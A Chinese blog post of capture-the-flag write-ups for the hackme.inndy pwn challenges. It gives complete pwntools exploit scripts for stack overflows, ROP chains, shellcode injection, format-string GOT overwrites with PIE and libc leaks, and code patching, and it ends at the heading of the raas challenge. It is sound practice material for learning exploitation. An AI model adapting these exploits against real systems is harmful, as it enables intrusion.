23R3F's Blog

hackme-pwn

字数统计: 14.6k阅读时长: 71 min
2018/10/02 Share

发现一个的台湾的ctf平台,感觉学到了挺多东西:hackme.inndy,各种题型都有,题目总体难度不会很大比较新颖骚操作多,还是很适合萌新通过做这些题目提升姿势水平

前面的几道简单漏洞的题目基本上直接放exp,重头戏后面的题目

catflag

nc 连接上去,一个cat flag命令就出来了

homework

这是一道数组下标溢出的题目,仅仅通过计算就可以知道ret的位置在arr[14]的地方
直接简单地绕开了cannry保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!python
#coding:utf-8

from pwn import *
#p=process('./homework')
p=remote('hackme.inndy.tw', 7701)

binsh = 0x080485fb
print str(binsh)
p.recvuntil("What's your name? ")
p.sendline("your_dad")
p.recvuntil("4 > dump all numbers\n")
p.recvuntil(" > ")
p.sendline("1")

p.recvuntil("Index to edit: ")
p.sendline("14")

p.recvuntil("How many? ")
p.sendline(str(binsh))
p.sendline("0")
p.interactive()

ROP

这道题是简单的栈溢出+rop,可以有多种解法,我这里就使用system call的方法

我们可以查到execve的系统调用号为0x0b,而在系统调用时,eax是存放系统调用号,ebx,ecx,edx分别存放前3个参数,esi存放第4个参数,edi存放第5个参数,而Linux系统调用最多支持5个单独参数。如果实际参数超过5个,那么使用一个参数数组,并且将该数组的地址存放在ebx中。

1
2
3
4
5
6
7
0x080b8016 : pop eax ; ret
0x0806ed00 : pop edx ; pop ecx ; pop ebx ; ret
0x0806c943 : int 0x80

0x080de769 : pop ecx ; ret

0x0804b5ba : pop dword ptr [ecx] ; ret

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!python
#coding:utf-8
from pwn import *
#p=process('./rop')
elf = ELF("./rop")

p=remote('hackme.inndy.tw', 7704)
bss = elf.bss()#0x80eaf80
pop_eax_ret = 0x080b8016
pop_edx_ecx_ebx_ret = 0x0806ed00
int_0x80 = 0x0806c943
pop_ecx = 0x080de769
pop_write2ecx = 0x0804b5ba

payload = 'a' * (0x0c+0x04)
payload += p32(pop_ecx) + p32(bss)
payload += p32(pop_write2ecx) + '/bin'
payload += p32(pop_ecx) + p32(bss+4)
payload += p32(pop_write2ecx) + '/sh\x00'

payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x00) + p32(0x00) + p32(bss)
payload +=p32(int_0x80)

p.sendline(payload)
p.interactive()

ROP2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!python
#coding:utf-8
from pwn import *
#p=process('./rop2')
elf = ELF("./rop2")
context.log_level="debug"
p=remote('hackme.inndy.tw', 7703)

syscall = elf.symbols['syscall']
overflow = elf.symbols['overflow']
bss = elf.bss()
print hex(syscall)
print hex(overflow)
print hex(bss)

p.recv()
payload = 'a'*(0x0c+0x04)
payload += p32(syscall)+p32(overflow)+p32(3)+p32(0)+p32(bss)+p32(8)
p.sendline(payload)
p.send("/bin/sh\x00")#这个地方很坑,一定要用send才行,用sendline就不行

payload1 = 'a'*(0x0c+0x04)
payload1 +=p32(syscall)+p32(0xdeadbeef)+p32(0xb)+p32(bss)+p32(0)+p32(0)
p.sendline(payload1)
p.interactive()

toooomuch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!python
#coding:utf-8
from pwn import *
#p=process('./rop')
elf = ELF("./toooomuch")
p=remote('hackme.inndy.tw', 7702)
flag = 0x0804863b

payload = 'a'*(0x18+0x04)
payload += p32(flag)

p.recvuntil("Give me your passcode: ")
p.sendline(payload)
p.recv()
p.interactive()

toooomuch-2

先通过溢出调用一次gets函数将shellcode写入bss段中,接着程序流程再指向bss执行shellcode。从而getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!python
#coding:utf-8
from pwn import *
#p=process('./rop')
elf = ELF("./toooomuch2")

p=remote('hackme.inndy.tw', 7702)
gets = elf.symbols['gets']
bss = elf.bss()

payload = 'a'*28
payload += p32(gets)+p32(bss)+p32(bss)
p.recvuntil("Give me your passcode: ")
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))

p.interactive()

smashthestack

这题利用的ssp报错的方法泄漏出flag,在ctf-wiki中有介绍:传送门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

#p=process('./smash')
p=remote('hackme.inndy.tw', 7717)
argv_addr=0xffffcfa4
buf_addr=0xffffcee8
flag_addr=0x804a060

payload = 'a'*(argv_addr-buf_addr) +p32(flag_addr)

p.recvuntil('the flag')
p.sendline(payload)

p.interactive()

echo

1538461949970

这是一道基础的格式化字符串漏洞的题目,就不多描述了,漏洞点简单易找易利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")

ip ="hackme.inndy.tw"
if ip:
p = remote(ip,7711)
else:
p = process("./echo")#, aslr=0

elf = ELF("./echo")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

system_plt = elf.plt["system"]
printf_got = elf.got["printf"]

payload = fmtstr_payload(7,{printf_got:system_plt})

sl(payload)
sleep(1)
sl("/bin/sh")
getshell()

直接改了printf的got表为system函数的plt表,接着输入参数/bin/sh,即可getshell

echo2

1538461968747

这题是64位下的格式化字符串漏洞,漏洞点跟上一题差不多

但是有很多小的坑点,需要注意一下

  1. 64位的程序函数地址存在’\x00’截断,所以要将函数地址放到最后(不能用fmtstr_payload这个工具,它只适合用于32位)
  2. 控制好函数地址的相对偏移,
  3. PIE:
    是位置无关的可执行程序,用于生成位置无关的可执行程序,所谓位置无关的可执行程序,指的是,可执行程序的代码指令集可以被加载到任意位置,进程通过相对地址获取指令操作和数据,如果不是位置无关的可执行程序,则该可执行程序的代码指令集必须放到特定的位置才可运行进程。
    但是低两位字节是固定的,可以通过这个泄露出程序基地址

1538480072964

通过gdb的调试,可以发现main+74的地址可以泄漏出程序的基地址,因为就算是开了PIE,后三位也是不变的,在IDA中也可以看到的确存在a03这个地址,因此0x555555554a03-0xa03就是程序的基地址,之后对地址的一切操作都要先加上这个elf_base才能得出正确的地址

而这个地方的格式化字符串的偏移是41,可通过%p泄漏出来

其次,也可以发现stack中有__libc_start_main+240的地址,也同样可以通过这种方式泄漏出libc,但这里有个比较迷的地方是,不能用libc-database来泄漏出libc的版本,搜出来的结果是错误的,只有通过下载hackme上面的libc,然后用onegadget得出地址

这个地方的格式化字符串的偏移是43,可通过%p泄漏出来

1538479970941

在进行任意地址写的操作的时候,要注意每次写双字节,写三次

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip ="hackme.inndy.tw"
if ip:
p = remote(ip,7712)
else:
p = process("./echo2")#, aslr=0

elf = ELF("./echo2")
libc = ELF("./libc-2.23.so.x86_64")#hackme网站下载
#libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
sl("%43$p")

start =int(p.recvline(),16)-240
libc_base = start -libc.symbols["__libc_start_main"]

sl("%41$p")
elf_base =int(p.recvline(),16)-0xa03
print "elf_base---->"+hex(elf_base)

one_gadget = 0xf0897+libc_base

exit_got = elf.got["exit"]+elf_base
printf_got = elf.got["printf"]+elf_base
system = libc.symbols["system"]+libc_base
print "start-->"+hex(start)
print "printf_got-->"+hex(printf_got)
print "exit_plt-->"+hex(exit_got)
print "libc_base-->"+hex(libc_base)
print "one_gadget-->"+hex(one_gadget)

hex_one_gadget = hex(one_gadget)

paylaod1="a"*19+"%"+str(int(hex_one_gadget[-4:],16)-19)+"c"+"%10$hn"+p64(exit_got)
paylaod2="a"*19+"%"+str(int(hex_one_gadget[-8:-4],16)-19)+"c"+"%10$hn"+p64(exit_got+2)
paylaod3="a"*19+"%"+str(int(hex_one_gadget[-12:-8],16)-19)+"c"+"%10$hn"+p64(exit_got+4)

sl(paylaod1)
sleep(1)
sl(paylaod2)
sleep(1)
sl(paylaod3)
sleep(1)
sl("exit")

getshell()

echo3

1538461986984

这题又更骚一层楼,

1538714455648

1538714497658

从IDA中可以看到,这题的格式化字符串是在bss段里面的,这样一来就不好操作了,于是我们就需要在栈里面找到指向栈的指针,来进行写入的操作

我们知道%x$n的作用是,向第x个参数的位置写入内容,如果这个位置上的又是一个指针的话,则向这个指针所指的地方写入内容,这种用法参考hitcon-training的lab9那题

然而这题,最坑的地方是在这个alloca函数,v3 = alloca(16 * (((buf & 0x3039u) + 30) / 0x10));在调用hardfmt函数之前,这句会造成栈的分布会很随机很蛇皮

来看一下这地方的汇编代码:

1538716832863

这里的sub语句,会造成栈向下长,而且很随机,这样我们就无从所知栈的分布是怎么样的,如果此时在printf函数调用之前,下个断点,在gdb中看栈的分布,是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
gef➤  stack 100
0000| 0xffffadbc --> 0x804864b (<hardfmt+133>: add esp,0x10)
0004| 0xffffadc0 --> 0x804a080 ("aaaa\n")
0008| 0xffffadc4 --> 0x804a080 ("aaaa\n")
0012| 0xffffadc8 --> 0x1000
0016| 0xffffadcc --> 0x0
0020| 0xffffadd0 --> 0xf2beb39d
0024| 0xffffadd4 --> 0x0
0028| 0xffffadd8 --> 0x0
0032| 0xffffaddc --> 0x0
0036| 0xffffade0 --> 0x0
0040| 0xffffade4 --> 0x0
0044| 0xffffade8 --> 0x0
0048| 0xffffadec --> 0x80485d2 (<hardfmt+12>: add ebx,0x1a2e)
0052| 0xffffadf0 --> 0x0
0056| 0xffffadf4 --> 0x0
0060| 0xffffadf8 --> 0xffffadd0 --> 0xf2beb39d
0064| 0xffffadfc --> 0x39d9b700
0068| 0xffffae00 --> 0x0
0072| 0xffffae04 --> 0x804a000 --> 0x8049f10 --> 0x1
0076| 0xffffae08 --> 0xffffce98 --> 0x0
0080| 0xffffae0c --> 0x804877b (<main+236>: mov eax,0x0)
0084| 0xffffae10 --> 0x0
0088| 0xffffae14 --> 0x0
0092| 0xffffae18 --> 0x0
0096| 0xffffae1c --> 0x0
0100| 0xffffae20 --> 0x0
0104| 0xffffae24 --> 0x0
0108| 0xffffae28 --> 0x0
0112| 0xffffae2c --> 0x0
0116| 0xffffae30 --> 0x0
0120| 0xffffae34 --> 0x0
0124| 0xffffae38 --> 0x0
0128| 0xffffae3c --> 0x0
0132| 0xffffae40 --> 0x0
0136| 0xffffae44 --> 0x0
0140| 0xffffae48 --> 0x0
0144| 0xffffae4c --> 0x0
0148| 0xffffae50 --> 0x0
0152| 0xffffae54 --> 0x0
0156| 0xffffae58 --> 0x0
0160| 0xffffae5c --> 0x0
0164| 0xffffae60 --> 0x0
0168| 0xffffae64 --> 0x0
0172| 0xffffae68 --> 0x0
0176| 0xffffae6c --> 0x0
0180| 0xffffae70 --> 0x0
0184| 0xffffae74 --> 0x0

是不是很蛇皮,看到的根本不是很正常的栈结构,栈的底部全部都是0 ,本来应该有main函数的返回地址,和程序最开始环境变量

v3 = alloca(16 * (((buf & 0x3039u) + 30) / 0x10));

这一句造成了上面那种蛇皮栈的情况,通过测试,我们可以发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import random
for x in xrange(1,50):
buf= random.randint(0,0xffffffff)
a=16 * (((buf & 0x3039) + 30) / 0x10)
print "aaaaaa-->"+hex(a)
'''
输出:
aaaaaa-->0x3040
aaaaaa-->0x2030
aaaaaa-->0x3040
aaaaaa-->0x40
aaaaaa-->0x2020
aaaaaa-->0x2040
aaaaaa-->0x40
aaaaaa-->0x30
aaaaaa-->0x3030
aaaaaa-->0x1010
aaaaaa-->0x3040
aaaaaa-->0x1030
aaaaaa-->0x2040
aaaaaa-->0x1020
aaaaaa-->0x2030
aaaaaa-->0x50
aaaaaa-->0x3020
aaaaaa-->0x2020
aaaaaa-->0x1040
aaaaaa-->0x3040
aaaaaa-->0x30
aaaaaa-->0x1030
aaaaaa-->0x30
aaaaaa-->0x2020
aaaaaa-->0x2010
aaaaaa-->0x20
aaaaaa-->0x3020
aaaaaa-->0x1050
aaaaaa-->0x20
aaaaaa-->0x50
aaaaaa-->0x1010
aaaaaa-->0x1020
aaaaaa-->0x3050
aaaaaa-->0x1020
aaaaaa-->0x2040
aaaaaa-->0x40
aaaaaa-->0x40
aaaaaa-->0x10
aaaaaa-->0x1020
aaaaaa-->0x3040
aaaaaa-->0x30
aaaaaa-->0x2020
aaaaaa-->0x3020
aaaaaa-->0x30
aaaaaa-->0x40
aaaaaa-->0x1040
aaaaaa-->0x20
aaaaaa-->0x1030
aaaaaa-->0x1020
'''

这里会造成分配0x10,0x20,0x30,0x40,0x50,0x1020,0x1030等的栈空间,也就是会导致esp-这些数值之一

那我们要得出正常的栈分布情况的话,就需要在gdb调试里面把这些被减去的加回来(这里用0x20 做例子)

首先在text:08048774 sub esp, eax下个断点,设置set $eax=0x20

然后在printf函数下个断点,接着c一下继续运行

就可以看到正常的栈分布空间了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
0000| 0xffffcdec --> 0x804864b (<hardfmt+133>:	add    esp,0x10)
0004| 0xffffcdf0 --> 0x804a080 ("%43$p-%42$p-%30$p-%31$p\n")
0008| 0xffffcdf4 --> 0x804a080 ("%43$p-%42$p-%30$p-%31$p\n")//偏移1
0012| 0xffffcdf8 --> 0x1000
0016| 0xffffcdfc --> 0x1
0020| 0xffffce00 --> 0x5f8bfd11
0024| 0xffffce04 --> 0x804829c --> 0x62696c00 ('')
0028| 0xffffce08 --> 0xf7ffd918 --> 0x0
0032| 0xffffce0c --> 0x0
0036| 0xffffce10 --> 0xffffce4e --> 0x30804
0040| 0xffffce14 --> 0xf7e05018 --> 0x3eab
0044| 0xffffce18 --> 0xf7e5a21b (<__GI__IO_setbuffer+11>)
0048| 0xffffce1c --> 0x80485d2 (<hardfmt+12>)
0052| 0xffffce20 --> 0xf7fe77eb (<_dl_fixup+11>)
0056| 0xffffce24 --> 0x0
0060| 0xffffce28 --> 0xffffce00 --> 0x5f8bfd11
0064| 0xffffce2c --> 0x36a9a200
0068| 0xffffce30 --> 0xffffce98 --> 0x0
0072| 0xffffce34 --> 0x804a000 --> 0x8049f10 --> 0x1
0076| 0xffffce38 --> 0xffffce98 --> 0x0
0080| 0xffffce3c --> 0x804877b (<main+236>)
0084| 0xffffce40 --> 0x804a000 --> 0x8049f10 --> 0x1//leak_stack-0x10c
0088| 0xffffce44 --> 0x804a060 --> 0x5f8bfd11 //leak_stack-0x108
0092| 0xffffce48 --> 0xf7ed02ac (<__close_nocancel+18>)
0096| 0xffffce4c --> 0x804874a (<main+187>)
0100| 0xffffce50 --> 0x3
0104| 0xffffce54 --> 0x804a060 --> 0x5f8bfd11
0108| 0xffffce58 --> 0x4
0112| 0xffffce5c --> 0x80486a6 (<main+23>)
0116| 0xffffce60 --> 0x8000
0120| 0xffffce64 --> 0xf7fac000 --> 0x1b1db0
0124| 0xffffce68 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移30
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移31
0132| 0xffffce70 --> 0x1
0136| 0xffffce74 --> 0x0
0140| 0xffffce78 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")
0144| 0xffffce7c --> 0x3
0148| 0xffffce80 --> 0xba42216b
0152| 0xffffce84 --> 0x3fb24399
0156| 0xffffce88 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")
0160| 0xffffce8c --> 0x36a9a200
0164| 0xffffce90 --> 0xffffceb0 --> 0x1
0168| 0xffffce94 --> 0x0
0172| 0xffffce98 --> 0x0
0176| 0xffffce9c --> 0xf7e12637 (<__libc_start_main+247>)//偏移43,泄漏libc
0180| 0xffffcea0 --> 0xf7fac000 --> 0x1b1db0
0184| 0xffffcea4 --> 0xf7fac000 --> 0x1b1db0
0188| 0xffffcea8 --> 0x0
0192| 0xffffceac --> 0xf7e12637 (<__libc_start_main+247>)
0196| 0xffffceb0 --> 0x1
0200| 0xffffceb4 --> 0xffffcf44 --> 0xffffd150 ("./echo3")
0204| 0xffffceb8 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")
0208| 0xffffcebc --> 0x0
0212| 0xffffcec0 --> 0x0
0216| 0xffffcec4 --> 0x0
0220| 0xffffcec8 --> 0xf7fac000 --> 0x1b1db0
0224| 0xffffcecc --> 0xf7ffdc04 --> 0x0
0228| 0xffffced0 --> 0xf7ffd000 --> 0x23f3c
0232| 0xffffced4 --> 0x0
0236| 0xffffced8 --> 0xf7fac000 --> 0x1b1db0
0240| 0xffffcedc --> 0xf7fac000 --> 0x1b1db0
0244| 0xffffcee0 --> 0x0
0248| 0xffffcee4 --> 0x8c4d349
0252| 0xffffcee8 --> 0x35125d59
0256| 0xffffceec --> 0x0
0260| 0xffffcef0 --> 0x0
0264| 0xffffcef4 --> 0x0
0268| 0xffffcef8 --> 0x1
0272| 0xffffcefc --> 0x80484b0 (<_start>)
0276| 0xffffcf00 --> 0x0
0280| 0xffffcf04 --> 0xf7fee010 (<_dl_runtime_resolve+16>)
0284| 0xffffcf08 --> 0xf7fe8880 (<_dl_fini>)
0288| 0xffffcf0c --> 0x804a000 --> 0x8049f10 --> 0x1
0292| 0xffffcf10 --> 0x1
0296| 0xffffcf14 --> 0x80484b0 (<_start>)
--More--(75/100)
0300| 0xffffcf18 --> 0x0
0304| 0xffffcf1c --> 0x80484e2 (<_start+50>t)
0308| 0xffffcf20 --> 0x804868f (<main>)
0312| 0xffffcf24 --> 0x1
0316| 0xffffcf28 --> 0xffffcf44 --> 0xffffd150 ("./echo3")
0320| 0xffffcf2c --> 0x80487a0 (<__libc_csu_init>: push ebp)
0324| 0xffffcf30 --> 0x8048800 (<__libc_csu_fini>: repz ret)
0328| 0xffffcf34 --> 0xf7fe8880 (<_dl_fini>: push ebp)
0332| 0xffffcf38 --> 0xffffcf3c --> 0xf7ffd918 --> 0x0
0336| 0xffffcf3c --> 0xf7ffd918 --> 0x0
0340| 0xffffcf40 --> 0x1
0344| 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移85
0348| 0xffffcf48 --> 0x0
0352| 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移87,leak_stack
0356| 0xffffcf50 --> 0xffffd184 ("XDG_SESSION_ID=c1")
0360| 0xffffcf54 --> 0xffffd196 ("LC_IDENTIFICATION=zh_CN.UTF-8")
0364| 0xffffcf58 --> 0xffffd1b4 ("LC_TELEPHONE=zh_CN.UTF-8")
0368| 0xffffcf5c --> 0xffffd1cd ("DISPLAY=:0")
0372| 0xffffcf60 --> 0xffffd1d8 ("QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1")
0376| 0xffffcf64 --> 0xffffd1fb ("JOB=dbus")
0380| 0xffffcf68 --> 0xffffd204 ("GNOME_KEYRING_CONTROL=")
0384| 0xffffcf6c --> 0xffffd21b ("GNOME_DESKTOP_SESSION_ID=this-is-deprecated")
0388| 0xffffcf70 --> 0xffffd247 ("DEFAULTS_PATH=/usr/share/gconf/ubuntu.default.path")
0392| 0xffffcf74 --> 0xffffd27a ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0396| 0xffffcf78 --> 0xffffd29b ("LOGNAME=zeref")

在这里,我们就看到了正常的栈分布情况,但是这种情况会随着你上面设置的eax的值不同而不同,上面我是用set $eax=0x20作为例子的,如果你用其他的那么下面我用的偏移都会跟你的不一样

那么如果找到这一种情况呢?

我们就需要进行爆破,在上面的栈分布中可以看到:

0176| 0xffffce9c --> 0xf7e12637 (<__libc_start_main+247>)

那么如果栈分布里面出现了这样一个内容,就说明,这个栈的分布是我们想要的

爆破代码如下:

1
2
3
4
5
6
7
8
9
10
11
while True:
p = process('./echo3')
#p = remote('hackme.inndy.tw',7720)
payload = '%43$p#%30$p'
#43的偏移出就应该是__libc_start_main的位置,这个通过自己在gdb调试中测试出来
#注意,gdb调试的时候用的不是set $eax=0x20,那么偏移也会不同
p.sendline(payload)
data = p.recvuntil('#',drop = True)
if data[-3:] == '637':
break
p.close()

找到栈的分布后,我们就可以操作了

首先泄漏出栈的地址来,就在envir变量的位置就可以泄漏

接着我们发现栈里面有这些指向指针的指针:

1
2
3
4
5
6
7
8
9
0084| 0xffffce40 --> 0x804a000 --> 0x8049f10 --> 0x1//leak_stack-0x10c
0088| 0xffffce44 --> 0x804a060 --> 0x5f8bfd11 //leak_stack-0x108
....
0124| 0xffffce68 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移30
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移31
....
0344| 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移85
0348| 0xffffcf48 --> 0x0
0352| 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移87,leak_stack

于是我们就可以通过操作这些指针,实现间接的写,将printf的got改成system,然后发送“/bin/sh\x00”,实现getshell

具体分三步

第一:

1
2
0124| 0xffffce68 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移30
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移31

改成

1
2
0124| 0xffffce68 --> 0xffffcf4c --> 0xffffce40//leak_stack-0x10c
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffce44//leak_stack-0x108

第二:

1
2
3
0344| 0xffffcf44 --> 0xffffce40 //偏移85
0348| 0xffffcf48 --> 0x0
0352| 0xffffcf4c --> 0xffffce44//偏移87,leak_stack

改成

1
2
3
0344| 0xffffcf44 --> 0xffffce40 -->printf_got//偏移85
0348| 0xffffcf48 --> 0x0
0352| 0xffffcf4c --> 0xffffce44 -->printf_got+2//偏移87,leak_stack

第三

1
2
0084| 0xffffce40 --> printf_got -->//leak_stack-0x10c
0088| 0xffffce44 --> printf_got+2 --> //leak_stack-0x108

改成:

1
2
0084| 0xffffce40 --> printf_got -->system+2 //leak_stack-0x10c
0088| 0xffffce44 --> printf_got+2 -->system //leak_stack-0x108

这个的核心就在于:

如果 A -> B ->C ,那么aaaa%A$n的作用是:将4赋值给C

理解了这个间接写的核心,就很容易理解上面的三次操作了

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
from pwn import *
context.log_level='debug'

#libc = ELF('./libc-2.23.so.i386')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./echo3')
def sd(content):
p.send(content)

def sl(content):
p.sendline(content)

def rc():
return p.recv()

def ru(content):
return p.recvuntil(content)

while True:
p = process('./echo3')
#p = remote('hackme.inndy.tw',7720)
payload = '%43$p#%30$p'# %43$p-%42$p-%30$p-%31$p
p.sendline(payload)
data = p.recvuntil('#',drop = True)
if data[-3:] == '637':
break
p.close()

leak_libc = int(data,16) - 247
libc_base = leak_libc - libc.symbols['__libc_start_main']
libc.address = libc_base
log.info("libc address {}".format(hex(libc_base)))
system = libc.symbols['system']
printf_got = elf.got['printf']
leak_stack = int(p.recv().strip('\n'),16)
log.info("leak stack address{}".format(hex(leak_stack)))

stack1 = leak_stack - 0x10c
log.info("stack1 address{}".format(hex(stack1)))
stack2 = leak_stack - 0x108
log.info("stack2 address{}".format(hex(stack2)))

log.info("change stack")
payload1 = "%{}c%{}$hn".format(stack1 & 0xffff, 30)
payload1 += "%{}c%{}$hn".format(4, 31)
payload1 += '1111'
sl(payload1)

log.info("wirte printf_got into stack")
payload2 = "%{}c%{}$hn".format(printf_got & 0xffff, 85)
payload2 += "%{}c%{}$hn".format(2, 87)
payload2 += "2222"

ru("1111\n")
sl(payload2)

log.info("change printf got")
payload3 = "%{}c%{}$hhn".format(system>> 16 & 0xff, 20)
payload3 += "%{}c%{}$hn".format((system& 0xffff) - (system >> 16 & 0xff), 21)
payload3 += "3333"
ru("2222\n")
sl(payload3)

ru("3333\n")
sl("/bin/sh\x00")
p.interactive()

另外需要注意的是在本地打的时候就得连本地的libc,不然是打不通的,打远程的时候就用hackme上面的libc

onepunch

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found****
NX: NX enabled****
PIE: No PIE (0x400000)

这题虽然不难,但题目还挺新颖的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+8h] [rbp-18h]
int v5; // [rsp+Ch] [rbp-14h]
_BYTE *v6; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
printf("Where What?", 0LL);
v5 = __isoc99_scanf("%llx %d", &v6, &v4);//读入一个16进制数,和一个十进制数
if ( v5 != 2 )
return 0;
*v6 = v4;//往16进制数的地址写入十进制数
if ( *(_DWORD *)&v4 == 255 )
puts("No flag for you");
return 0;
}

也就是一个任意地址写的操作,由于只能输入一次,可实现的操作实在有限,但细细观察你会发现这个程序的text段居然是可写可执行的,这就意味着我们可以改代码的逻辑实现各种操作,相当于打patch做题

538741694706

再看main函数的汇编:会发现,如果输入的十进制数不是255,会直接跳到0x000000000400773处

那么我们只需要在这里打patch,让他跳到main函数的开头,实现无限写入操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: main+5B↑j
.text:0000000000400756 mov rax, [rbp-10h]
.text:000000000040075A mov edx, [rbp-18h]
.text:000000000040075D mov [rax], dl
.text:000000000040075F mov eax, [rbp-18h]
.text:0000000000400762 cmp eax, 0FFh
.text:0000000000400767 jnz short loc_400773
.text:0000000000400769 mov edi, offset s ; "No flag for you"
.text:000000000040076E call _puts
.text:0000000000400773
.text:0000000000400773 loc_400773: ; CODE XREF: main+75↑j
.text:0000000000400773 mov eax, 0
.text:0000000000400778
.text:0000000000400778 loc_400778: ; CODE XREF: main+62↑j
.text:0000000000400778 mov rcx, [rbp-8]
.text:000000000040077C xor rcx, fs:28h
.text:0000000000400785 jz short locret_40078C
.text:0000000000400787 call ___stack_chk_fail
.text:000000000040078C ; -----------------------------------------------------------
.text:000000000040078C
.text:000000000040078C locret_40078C: ; CODE XREF: main+93↑j
.text:000000000040078C leave
.text:000000000040078D retn
.text:000000000040078D ; } // starts at 4006F2
.text:000000000040078D main endp
.text:000000000040078D

接着,就写入shellcode,最后再讲跳转改到shellcode的位置,就可以getshell了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""#hackme.inndy.tw
if ip:
p = remote(ip,7718)
else:
p = process("./onepunch")#, aslr=0

elf = ELF("./onepunch")
libc = ELF("./libc-2.23.so.x86_64")
#libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------

shell = 0x400790
ru("Where What?")
sl("0x400768")
sl("137")
shellcode = asm(shellcraft.sh())
shell_len = len(shellcode)

i=0
while i<shell_len:
ru("Where What?")
sl(str(hex(shell+i)))
sl(str(ord(shellcode[i])))
i+=1

ru("Where What?")
sl("0x400768")
sl("39")

getshell()

raas

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found***
NX: NX enabled****
PIE: No PIE (0x8048000)

